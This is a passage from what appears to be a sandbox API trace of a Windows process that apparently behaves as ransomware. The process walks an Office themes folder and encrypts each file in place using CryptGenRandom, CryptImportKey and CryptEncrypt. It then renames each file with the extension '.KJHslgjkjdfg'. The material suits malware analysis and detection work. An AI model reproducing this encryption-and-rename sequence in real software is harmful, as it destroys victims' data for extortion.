ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0188.416] GetProcessHeap () returned 0x2ef0000 [0188.416] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f45740 | out: hHeap=0x2ef0000) returned 1 [0188.416] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0188.416] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0188.416] GetProcessHeap () returned 0x2ef0000 [0188.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28a) returned 0x2f10788 [0188.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.416] GetProcessHeap () returned 0x2ef0000 [0188.416] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.416] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.416] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.417] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0188.479] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.479] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.479] GetProcessHeap () returned 0x2ef0000 [0188.479] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.479] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.479] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.479] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.479] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.479] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.479] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.480] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.480] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.480] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.480] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.480] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.480] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3a9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x3a9, lpOverlapped=0x0) returned 1 [0188.480] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3b0, dwBufLen=0x3b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x3b0) returned 1 [0188.480] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.480] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x3b0, lpOverlapped=0x0) returned 1 [0188.480] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.480] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.480] SetEndOfFile (hFile=0x12c) returned 1 [0188.483] GetProcessHeap () returned 0x2ef0000 [0188.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.483] GetProcessHeap () returned 0x2ef0000 [0188.483] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.kjhslgjkjdfg")) returned 1 [0188.484] CloseHandle (hObject=0x12c) returned 1 [0188.484] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25f0ff00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25f0ff00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x1413d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.ELM", cAlternateFileName="")) returned 1 [0188.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.486] GetProcessHeap () returned 0x2ef0000 [0188.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.486] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.486] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.486] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0188.618] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.618] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.618] GetProcessHeap () returned 0x2ef0000 [0188.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.618] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.618] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.618] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.619] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.619] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.619] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.619] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.619] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.619] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1413d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1413d, lpOverlapped=0x0) returned 1 [0188.633] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x14140, dwBufLen=0x14140 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x14140) returned 1 [0188.634] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.634] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14140, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x14140, lpOverlapped=0x0) returned 1 [0188.635] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.635] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.635] SetEndOfFile (hFile=0x12c) returned 1 [0188.637] GetProcessHeap () returned 0x2ef0000 [0188.637] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.637] GetProcessHeap () returned 0x2ef0000 [0188.638] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.kjhslgjkjdfg")) returned 1 [0188.659] CloseHandle (hObject=0x12c) returned 1 [0188.660] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SKY.INF", cAlternateFileName="")) returned 1 [0188.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.660] GetProcessHeap () returned 0x2ef0000 [0188.660] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.660] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.660] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.660] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.662] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.662] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.662] GetProcessHeap () returned 0x2ef0000 [0188.662] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0188.662] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0188.662] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.662] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0188.663] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.663] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.663] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.663] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.663] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.663] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.663] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bc, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1bc, lpOverlapped=0x0) returned 1 [0188.663] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1c0, dwBufLen=0x1c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1c0) returned 1 [0188.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.663] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1c0, lpOverlapped=0x0) returned 1 [0188.663] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.663] SetEndOfFile (hFile=0x12c) returned 1 [0188.665] GetProcessHeap () returned 0x2ef0000 [0188.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0188.666] GetProcessHeap () returned 0x2ef0000 [0188.666] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0188.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.kjhslgjkjdfg")) returned 1 [0188.679] CloseHandle (hObject=0x12c) returned 1 [0188.679] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7279, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0188.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0188.680] GetProcessHeap () returned 0x2ef0000 [0188.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0188.680] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0188.680] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0188.680] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0188.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.682] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.682] GetProcessHeap () returned 0x2ef0000 [0188.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0188.682] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0188.682] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0188.682] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0188.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0188.682] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0188.682] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0188.682] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0188.682] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0188.683] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0188.683] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.683] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7279, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7279, lpOverlapped=0x0) returned 1 [0188.683] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7280, dwBufLen=0x7280 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7280) returned 1 [0188.684] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.684] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7280, lpOverlapped=0x0) returned 1 [0188.684] CryptDestroyKey (hKey=0x2f18308) returned 1 [0188.684] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x7354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.684] SetEndOfFile (hFile=0x12c) returned 1 [0188.687] GetProcessHeap () returned 0x2ef0000 [0188.687] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0188.687] GetProcessHeap () returned 0x2ef0000 [0188.687] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 